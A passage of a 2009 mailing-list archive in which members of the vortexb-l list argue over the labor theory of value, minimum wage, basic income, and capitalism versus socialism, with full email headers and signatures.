factory jobs and > factories lie empty, gathering cobwebs, let alone any new ones being > built. Something tells me you have very little experience with > reality. > > On Mon, Jun 1, 2009 at 6:55 PM, Charles HOPE > wrote: > > You haven't mentioned capital investment, such as building factories and > > such. Something tells me you've little experience in business. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkokr/AACgkQXo3EtEYbt3G/NgCfU/KGkrvogDUFyA+eqgsB/6oM SqcAoJeq31Pi5CvPDzMLIBw6rb8uPkTY =ntlR -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Tue Jun 2 05:57:54 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n52CvltQ017293; Tue, 2 Jun 2009 05:57:47 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n52Cvhm1017278; Tue, 2 Jun 2009 05:57:43 -0700 Resent-Date: Tue, 2 Jun 2009 05:57:43 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <4A2521C3.9080404@pobox.com> Date: Tue, 02 Jun 2009 08:57:39 -0400 From: "Stephen A. Lawrence" User-Agent: Thunderbird 2.0.0.21 (X11/20090320) MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:China vs. US References: <20976920aba7.20aba7209769@ncf.ca> In-Reply-To: <20976920aba7.20aba7209769@ncf.ca> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4296 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 538 Harry Veeder wrote: > > wage-labour should be an option for living rather than a necessity for > living precisely because the time to create > > a product is irrelevant to its value. Exactly right, Harry. A discussion of the correctness of the "labor theory of value" now is a whole lot like a discussion of whether there's any evidence to support Einstein's new notion of relativity. In other words, it's over 100 years too late. LTOV was shot down ages ago when the marginalist school arose and finally resolved the diamonds/water paradox with a mathematically solid model. The value of a good is determined by the value of having just a little bit more of the good. That's why water is not worth as much as diamonds, despite the fact that, in an absolute sense, water is a whole lot more important to us than diamonds. And it's why that sand sculpture which took so long to make is nearly valueless -- nobody needs another sand sculpture, no matter how much "labor" went into it. And nobody needs another discussion of the labor theory of value, nor of how brilliant Marx was in general, nor of the fact that he never "got it" with regard to opportunity cost and so never had a clue why it makes economic sense to charge rent, nor of how he never understood about net present value (because that requires an understanding of opportunity cost), nor of how that led the Soviet Union to 'way overinvest in certain heavy industry infrastructure with terribly slow return rates while other more urgent areas with faster returns were ignored. And this will be my last post to voB 'cause I'm about to unsubscribe, 'cause I don't need any discussion with Grok in it. And if he/she/it is permanently banned from Vortex-L I will cheer, because we *sure* don't need trolls on Vortex-L. > > Harry > From vortexb-l-request@eskimo.com Tue Jun 2 06:20:18 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n52DK67M031106; Tue, 2 Jun 2009 06:20:10 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n52DJuck030726; Tue, 2 Jun 2009 06:19:56 -0700 Resent-Date: Tue, 2 Jun 2009 06:19:55 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 576312.87626.bm@omp110.mail.ac4.yahoo.com DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1243948791; bh=ay8CQZdEmAbJlwoJ5Ei+dIGitSEg19H9emK/XWbEKVw=; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Subject:To:MIME-Version:Content-Type; b=1B5p9UsLYEyyczf8F9We4hF4x9rHkRdTEzbIqndU6NHIShZV+j52U9d4szuZgjf7BhrrbtwPHWqYHRVJldyr/+bbO/QCe8QcpH5/GbD2jcISSiFXdvxRG1DQ2NgVCz0bEnSFco5OYaJiFwvtz0wHZwk8XgHuVVn22vmyWrEc4Dg= DomainKey-Signature:a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Subject:To:MIME-Version:Content-Type; b=T2j//xuqYclUgprJOOfqd6Y4onZpDv0e13hiz5v5sQST/ImhBUVqcuvM9UUlFHP9VJ8cW90Y0P3zePetu7HQPWVKLcoyNQLc0CziJkVWidAo5v3U5TJz8YdpDhryL92z/7pMqZb4wahwM1UCuvT4ct4t403fLa8FVOTn7h2ju9g=; Message-ID: <405087.89959.qm@web59615.mail.ac4.yahoo.com> X-YMail-OSG: edE8DkUVM1kcCsr5Q4k61T01qBmJ5FswNSqEsVbn6WoAsBMs.kQkLus9MHSRLoSFblEVv3jj0bS7qJ9M4zgo4hge75545Y7pEO2viryKzbtFJuzUq4wRjOE96aziTh0.X8DDq3I4v8Nlpvo.zeeNKZ1xdy4WyHfgdBcAqXwistczNYmakPvesDB42sNcYxgISeqaUNYSOHA1NdczRvcJyVhIv.SriprE.EpECGRJ6ppsZppMsvnl1Q-- X-Mailer: YahooMailClassic/5.3.9 YahooMailWebService/0.7.289.10 Date: Tue, 2 Jun 2009 06:19:51 -0700 (PDT) From: Chris Zell To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1597060288-1243948791=:89959" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4297 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Technologies of Dependence Status: O X-Status: X-Keywords: X-UID: 539 --0-1597060288-1243948791=:89959 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable What do all systems of governance have in common?=A0 They seek to maintain = the dependence of the 'ruled'. =A0 On the left wing,=A0 bureaucrats and other seek the furtherance and extensi= on of their own control.=A0 On the right,=A0 corporations work thru lobbyis= ts and bribes to continue their dominance.=A0 In this regard, Libertarians = don't have all the right answers but they certainly have the correct focus.= =A0 It's sad choice between being ruled by one element or another. =A0 However, new technology could change all this.=A0 Stem cell research could = break the expensive enslavement to ever more prescribed pharmaceuticals.=A0= It could extend health and lifespan as the greatest freedom of all.=A0 It = could stop the ceaseless inflation of health care cost and limit the effect= of rationing. =A0 New energy sources could be incredibly liberating.=A0 Suppose you had an el= ectric car that was charged by solar panels in your back yard?=A0 Need Exxo= n?=A0 Monroe Muffler?=A0 Your public utility?=A0=20 =A0 Socialism vs Capitalism could become a false choice.=A0 Hallelujah!=A0 =0A= =0A=0A --0-1597060288-1243948791=:89959 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable
What do all systems of governance have i= n common?  They seek to maintain the dependence of the 'ruled'.
 
On the left wing,  bureaucrats and other seek the furtherance and= extension of their own control.  On the right,  corporations wor= k thru lobbyists and bribes to continue their dominance.  In this rega= rd, Libertarians don't have all the right answers but they certainly ha= ve the correct focus.  It's sad choice between being ruled by one elem= ent or another.
 
However, new technology could change all this.  Stem cel= l research could break the expensive enslavement to ever more prescribed ph= armaceuticals.  It could extend health and lifespan as the greates= t freedom of all.  It could stop the ceaseless inflation of healt= h care cost and limit the effect of rationing.
 
New energy sources could be incredibly liberating.  Supp= ose you had an electric car that was charged by solar panels in your back y= ard?  Need Exxon?  Monroe Muffler?  Your public utility?&nbs= p;
 
Socialism vs Capitalism could become a false choice.  Hallelujah!=  

=0A=0A=0A=0A --0-1597060288-1243948791=:89959-- From vortexb-l-request@eskimo.com Tue Jun 2 07:01:52 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n52E1koG022545; Tue, 2 Jun 2009 07:01:50 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n52E1gHY022495; Tue, 2 Jun 2009 07:01:42 -0700 Resent-Date: Tue, 2 Jun 2009 07:01:42 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=bk+6AHIWbGT/9DIoPdxLzdtgU7oclPZxwsqhLricKsI=; b=IwtOkPUeKdFy75cXAAl1OTSaDd7wp+rwfV7yt3ytnG3S/yhBYii8vDtBds6BSi0dm2 c5+Uq4VEvu5D96lQ+5ooBsmkA/oGDFDaR1ST2HO5t+PqOugIrW7/H+pCKuVMxknPa281 YRP2szB1IhgeCPLlm/8AkEqlYdI0OlPIp4p84= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=sam+t7bRPjTBXupuVZGT+0kZqpqDCBABo6g9QYRMfdR+yxDDI2A4xNWkNbT5cJGrGW bpVsYJc6RXeFMg6z9r2Q3awI7dFRLDBHI59IPgdMYD6wjeVAE0P28qPYzauG+czOqTVL e9PremktEFoW7uIw9fqG1b6/h+rjfUQA29Bgo= MIME-Version: 1.0 In-Reply-To: <4AB7B9A39C2F43DF8F416D7A1083D9D2@REVTEC1> References: <20090521180408.GD1262@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> <4AB7B9A39C2F43DF8F416D7A1083D9D2@REVTEC1> Date: Tue, 2 Jun 2009 07:01:41 -0700 Message-ID: Subject: Re: [VoB]:China vs. US From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4298 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 540 This. A dozen times this. The value of an item on the open market is whatever the market will bear. the value of an item to a SOCIETY is the labor and resources used to produce the item. two different approaches, make sure you are all talking about the same thing. value to WHOM? On Sun, May 24, 2009 at 2:34 PM, Jeff Fink wrote: > > > Karl Marx proposed that the value of a manufactured > item is related to the work required to produce it > (the labor theory of value. > > Jack Smith > > A beautiful sand sculpture on the beach may require a great deal of work and > talent, but it has no dollar value. > > The value of an item may be related to the work involved, but true value is > determined by the demand for it. > > Jeff > > From vortexb-l-request@eskimo.com Tue Jun 2 07:07:07 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n52E7004017778; Tue, 2 Jun 2009 07:07:00 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n52E6tBm017746; Tue, 2 Jun 2009 07:06:55 -0700 Resent-Date: Tue, 2 Jun 2009 07:06:55 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=3TSQys6uTNhSUGjkMEuQ1psB6iSGIIHrdVltszykSyQ=; b=S96b9z78zeTAdxCmytHrTFVH9K08Eg1RlpWNWve3AqOByyjtRBg42ej6PUR1ZNpHDM TISaHdIuf2xxVKElPuN6Z9aG4on3vSD6bRyduDbj5oR3bWVcNWwT0cIPaZxMtcyDJcu1 mG8/hpbrEetGLICUPJ7h9G22MH7HA3XcC2KX8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=fxyUQ5K3F3Yi7pfiE6cwuU5PjdComxWtqTByqWd0h9rzILyQPecXt+SlVVJUWfTbNX Q5lpuuJcEuzJ74Kvau3bpBqc7dHhwqBMU/K8HmsgRmhIxmCxyyAhl52la54eNdT4Qp2J 9UWp8VH1K+RmQLbdnFELfHj4BeHCsM+jIRczQ= MIME-Version: 1.0 In-Reply-To: <231d44230bb0.230bb0231d44@ncf.ca> References: <231d44230bb0.230bb0231d44@ncf.ca> Date: Tue, 2 Jun 2009 07:06:53 -0700 Message-ID: Subject: Re: [VoB]:China vs. US From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4299 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 541 The point of a minimum wage is to prevent businesses from exploiting worker desperate for ANY pay, and make sure minimum requirements are kept to. as is, minimum wage puts one at poverty, or below, and the state already DOES pay the differences in medicaid and welfare. Saying that a business should be able to pay their workers whatever they want is like saying that if a business doesn't like the cost of some of their raw materials, they have a right to go, steal the materials, and leave whatever pittance they deem fair behind as payment. Doesn't work that way. The required minimum payment to workers is part of the capitalist landscape that current US companies operate in, and if they can't be successful under that constraint, they don't DESERVE to be successful. On Mon, May 25, 2009 at 7:43 PM, Harry Veeder wrote: > The minimum wage is set by the state. > Only the supplement to the minimum wage is up for negotiation between > the worker and the business owner. Business owners as a rule > would rather not pay the non-negotiable portion of wages. > > Instead of the state forcing businesses to pay the minimum wage, > it makes more sense for the state to pay everyone a minimum wage > (called a basic income) regardless of whether they are unemployed > or employed or self-employed. > > Harry > > ----- Original Message ----- > From: Charles HOPE > Date: Monday, May 25, 2009 1:05 pm > Subject: Re: [VoB]:China vs. US >> This paragraph assumes that wages are set by business owners. But >> they are >> negotiated between the business owner and the worker and a mutually >> satisfactory number is reached. >> >> On Mon, May 25, 2009 at 12:26 PM, Harry Veeder > wrote: >> >> > It shows that social expectation that an employer should provide a >> > minimum hourly-wage is counterproductive to the capitalist >> system of >> > production! The income a worker needs to reproduce him/herself >> should,> honestly speaking, be of no concern to the capitalist. >> > >> > It is however, of interest to the state, so the state should > provide >> > everyone with the same basic income, and let the employer pay >> extra for >> > the skills they require. >> > >> > The phasing in of basic income should be done gradually over > several >> > years. >> > This would give time for employers to adjust their hiring >> practices and >> > business models. >> > >> > >> > harry >> > >> > ----- Original Message ----- >> > From: Charles HOPE >> > Date: Monday, May 25, 2009 0:58 am >> > Subject: Re: [VoB]:China vs. US >> > >> > > How does that follow? >> > > >> > > >> > > On Mon, May 25, 2009 at 12:56 AM, Harry Veeder >> wrote: >> > > >> > > > *----- Original Message -----* >> > > > >> > > > *From*: Charles HOPE >> > > > >> > > > *Date*: Saturday, May 23, 2009 1:44 pm >> > > > >> > > > *Subject*: Re: [VoB]:China vs. US >> > > > >> > > > > Yes. Subjective utility is the primary kind of value, and >> then> > > > there is a >> > > > > market price which is the aggregate of many subjective >> utilities.> > > > The time >> > > > > required to create a product is irrelevant, is based on >> > > unreasonable> > assumptions, and what's more, with great irony, >> > > there's no way to >> > > > > extract a >> > > > > surplus from it. Feel free to show me how I'm wrong. >> > > > >> > > > wage-labour should be an option for living rather than a >> > > necessity for >> > > > living precisely because the time to create >> > > > >> > > > a product is irrelevant to its value. >> > > > >> > > > Harry >> > > > >> > > >> > > >> > > >> > > -- >> > > Never did I see a second sun >> > > Never did my skin touch a land of glass >> > > Never did my rifle point but true >> > > But in a land empty of enemies >> > > Waiting for the tick-tick-tick of the want >> > > A uranium angel >> > > Crying =93behold,=94 >> > > This land that knew fire is yours >> > > Taken from Corruption >> > > To begin anew >> > > >> > >> > >> >> >> -- >> Never did I see a second sun >> Never did my skin touch a land of glass >> Never did my rifle point but true >> But in a land empty of enemies >> Waiting for the tick-tick-tick of the want >> A uranium angel >> Crying =93behold,=94 >> This land that knew fire is yours >> Taken from Corruption >> To begin anew >> > > From vortexb-l-request@eskimo.com Tue Jun 2 07:25:13 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n52EP82l012447; Tue, 2 Jun 2009 07:25:08 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n52EP7JI012425; Tue, 2 Jun 2009 07:25:07 -0700 Resent-Date: Tue, 2 Jun 2009 07:25:07 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: X1.g6E0VM1kVbf6V7yvHV_nSUPU_xbBILuYOl9f3IkOLHSubfyBBlUTZMKm_9Rs.yDb9PuPgtyE88rAHODDYBbq_dRGS4g5Ke9d1QN5VCpl2eGIGOWnp2sXWZX0sGw3pP9vgQyQhZC5fmtyD6UZo3M55SJTmQB5u13lTLUXfnO1Rxy.llFxzWk0oepioFZXDqI8U1midUhL84cnYFtl7foOkTgV49hQeXjo5hOFMwrfcrxF7nYtCN4SbFDEjffx25va.VgIaSptmYzJzT6Gkt1gVH9IFtbZdj_CfwlVqh17F6as- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Date: Tue, 02 Jun 2009 09:24:49 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <20090524055838.GO4017@shell.resist.ca> <33BEBAF830E04AC88800196902DB76A9@REVTEC1> <20090525001439.GH30161@shell.resist.ca> <63ffa6020906011928t3fe535f2k4bfe5120f71c9b17@mail.gmail.com> In-Reply-To: <63ffa6020906011928t3fe535f2k4bfe5120f71c9b17@mail.gmail.com> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4300 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 542 On Mon, 1 Jun 2009 22:28:29 -0400, you wrote: >It really doesn't make any sense to portray Capitalism as the root of = all >evil without admiring the superior quality of life in those places and = times >where Capitalism was abolished. --- Indeed. JF =20 From vortexb-l-request@eskimo.com Tue Jun 2 07:29:55 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n52ETqOG018448; Tue, 2 Jun 2009 07:29:52 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n52ETp0q018429; Tue, 2 Jun 2009 07:29:51 -0700 Resent-Date: Tue, 2 Jun 2009 07:29:51 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=QIhJE6v17MAa6GTXGnqAVdQXB0I/5ytdnaM9bOVJje4=; b=qS4a3rsgKuoL5dlxgq08Z8fkowTf5ldCHp8IH+TI2lObFheXU039oHxcmm8Alrd5wd l7oZoSk/QyazYkMbpdzmeZoZfVeCHJ0OoNaVg9HjXrLtkR3jUQKTXD1Cus2Xas57M1N/ e9ksH30GTBbXf/8gt4H/2EZqwvy9qMAn0UOj4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=PA9etZlVUgj2suF7VYTRPXtdKcl+SlFtowJwixY8AvxKE5Wh8r5xrD0uhliv+zh/T4 FRm8E60iAWj/K3izk20kZRJ6CjpLiWOTIuxjGAeWrDP9PHm+4qXOzSW/09fphf9K0ZAg eus5hB/7DxoGxKbdnuBpOLWH9VVkBo7LXOsuc= MIME-Version: 1.0 In-Reply-To: References: <231d44230bb0.230bb0231d44@ncf.ca> From: Charles HOPE Date: Tue, 2 Jun 2009 10:29:15 -0400 Message-ID: <63ffa6020906020729x4ac57b12hb8200ce9d4958b6f@mail.gmail.com> Subject: Re: [VoB]:China vs. US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0015174c1d947ef80e046b5e5fd5 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4301 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 543 --0015174c1d947ef80e046b5e5fd5 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Your analysis will remain broken until you can distinguish between voluntar= y and involuntary transactions. On Tue, Jun 2, 2009 at 10:06 AM, leaking pen wrote: > Saying > that a business should be able to pay their workers whatever they want > is like saying that if a business doesn't like the cost of some of > their raw materials, they have a right to go, steal the materials, and > leave whatever pittance they deem fair behind as payment. --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --0015174c1d947ef80e046b5e5fd5 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Your analysis will remain broken until you can distinguish between voluntar= y and involuntary transactions.


On Tu= e, Jun 2, 2009 at 10:06 AM, leaking pen <itsatrap@gmail.com> wrote:
Saying
that a business should be able to pay their workers whatever they want
is like saying that if a business doesn't like the cost of some of
their raw materials, they have a right to go, steal the materials, and
leave whatever pittance they deem fair behind as payment.



--
Never did I see a second sun
Never di= d my skin touch a land of glass
Never did my rifle point but true
But in a land empty of enemies
Waiting for the tick-tick-tick of the wan= t
A uranium angel
Crying =93behold,=94
This land that knew fire is= yours
Taken from Corruption
To begin anew
--0015174c1d947ef80e046b5e5fd5-- From vortexb-l-request@eskimo.com Tue Jun 2 09:01:24 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n52G1GIQ012017; Tue, 2 Jun 2009 09:01:17 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n52G1CUp011940; Tue, 2 Jun 2009 09:01:12 -0700 Resent-Date: Tue, 2 Jun 2009 09:01:12 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Jeff Fink" To: References: <20090521180408.GD1262@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> <4AB7B9A39C2F43DF8F416D7A1083D9D2@REVTEC1> Subject: RE: [VoB]:China vs. US Date: Tue, 2 Jun 2009 12:01:07 -0400 Message-ID: <53F71494F70449CAB4F334ECD4092CFB@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Thread-Index: AcnjiuhaecKq65MNSgmanhTdZhlXGQADtRog Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4302 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 544 A system of free commerce is self regulating. Supply will match demand. It is not that supply and demand set the price, but that prices change to cause demand and supply to match. When prices are fixed, the system gets out of kilter. When prices are fixed to low (usually by a government), the price becomes meaningless because there is no product on the shelf for anyone to buy. It is either sold out or it was removed from the shelf by the supplier as he waits for pricing insanity to pass. Quite often in this scenario production stops because it is uneconomical to run the production operation. Jeff -----Original Message----- From: leaking pen [mailto:itsatrap@gmail.com] Sent: Tuesday, June 02, 2009 10:02 AM To: vortexb-l@eskimo.com Subject: Re: [VoB]:China vs. US This. A dozen times this. The value of an item on the open market is whatever the market will bear. the value of an item to a SOCIETY is the labor and resources used to produce the item. two different approaches, make sure you are all talking about the same thing. value to WHOM? On Sun, May 24, 2009 at 2:34 PM, Jeff Fink wrote: > > > Karl Marx proposed that the value of a manufactured > item is related to the work required to produce it > (the labor theory of value. > > Jack Smith > > A beautiful sand sculpture on the beach may require a great deal of work and > talent, but it has no dollar value. > > The value of an item may be related to the work involved, but true value is > determined by the demand for it. > > Jeff > > From vortexb-l-request@eskimo.com Tue Jun 2 09:41:56 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n52GfrYv000992; Tue, 2 Jun 2009 09:41:53 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n52Gfrlb000982; Tue, 2 Jun 2009 09:41:53 -0700 Resent-Date: Tue, 2 Jun 2009 09:41:53 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=uU2hBAskRvUZIgBnzoXQqZgYxmPYypS5IewZ9YWuItM=; b=RMYG0OqcnS8/Vq7L2cKDiDHs+JUR3N4dbze0d9M5oFq3y8qk01P1MJrzuwVJyX47pn c9bNAQUOxvKO8TsvB+i+4D5L3qPO55e6doyVbjtZWrLSisdVh7IckDW/XPUCBMwX7LKG FUoQFvjIn9j4xWtDvcnmm6GMBdh00PGHcy+os= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=MqOm9nCHq+DRvkcMCtOFql8a+s1Ewqd3Mw0aCK25EaWwDjlDXCRqVONh+H0R9AY7Ec rfIOpVXBI6yiHNUllrpk3j3IzEdjMPl8qXpYFuv9nORcl8xywSUYmlLlS1whfCr63PAU enuJLlNcMddzJAcZs6VAQgcUIML/Z5hRoGxoQ= MIME-Version: 1.0 In-Reply-To: <53F71494F70449CAB4F334ECD4092CFB@REVTEC1> References: <20090521180408.GD1262@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> <4AB7B9A39C2F43DF8F416D7A1083D9D2@REVTEC1> <53F71494F70449CAB4F334ECD4092CFB@REVTEC1> From: Charles HOPE Date: Tue, 2 Jun 2009 12:41:25 -0400 Message-ID: <63ffa6020906020941l5be34566oee372b149b68bdc1@mail.gmail.com> Subject: Re: [VoB]:China vs. US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0015174c0fa8dff03a046b603792 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4303 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 545 --0015174c0fa8dff03a046b603792 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Indeed! The economics of the open-source world, when profits are based on good will and giving away products, and when the means of production is software which isn't scarce, the old economics of capitalism and socialism are transcended. Libertarians and Leftists converge here. On Tue, Jun 2, 2009 at 12:01 PM, Jeff Fink wrote: > A system of free commerce is self regulating. Supply will match demand. > It > is not that supply and demand set the price, but that prices change to > cause > demand and supply to match. When prices are fixed, the system gets out of > kilter. When prices are fixed to low (usually by a government), the pric= e > becomes meaningless because there is no product on the shelf for anyone t= o > buy. It is either sold out or it was removed from the shelf by the > supplier > as he waits for pricing insanity to pass. Quite often in this scenario > production stops because it is uneconomical to run the production > operation. > > Jeff > > -----Original Message----- > From: leaking pen [mailto:itsatrap@gmail.com] > Sent: Tuesday, June 02, 2009 10:02 AM > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:China vs. US > > This. A dozen times this. The value of an item on the open market is > whatever the market will bear. the value of an item to a SOCIETY is > the labor and resources used to 